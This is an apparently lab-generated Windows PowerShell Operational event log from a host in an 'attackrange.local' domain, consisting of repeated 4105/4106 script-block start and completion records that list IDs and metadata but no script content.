ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031299
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031298
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031297
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031296
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031280
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031279
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031274
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031273
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031251
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031250
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031249
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031248
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031247
Keywords=None
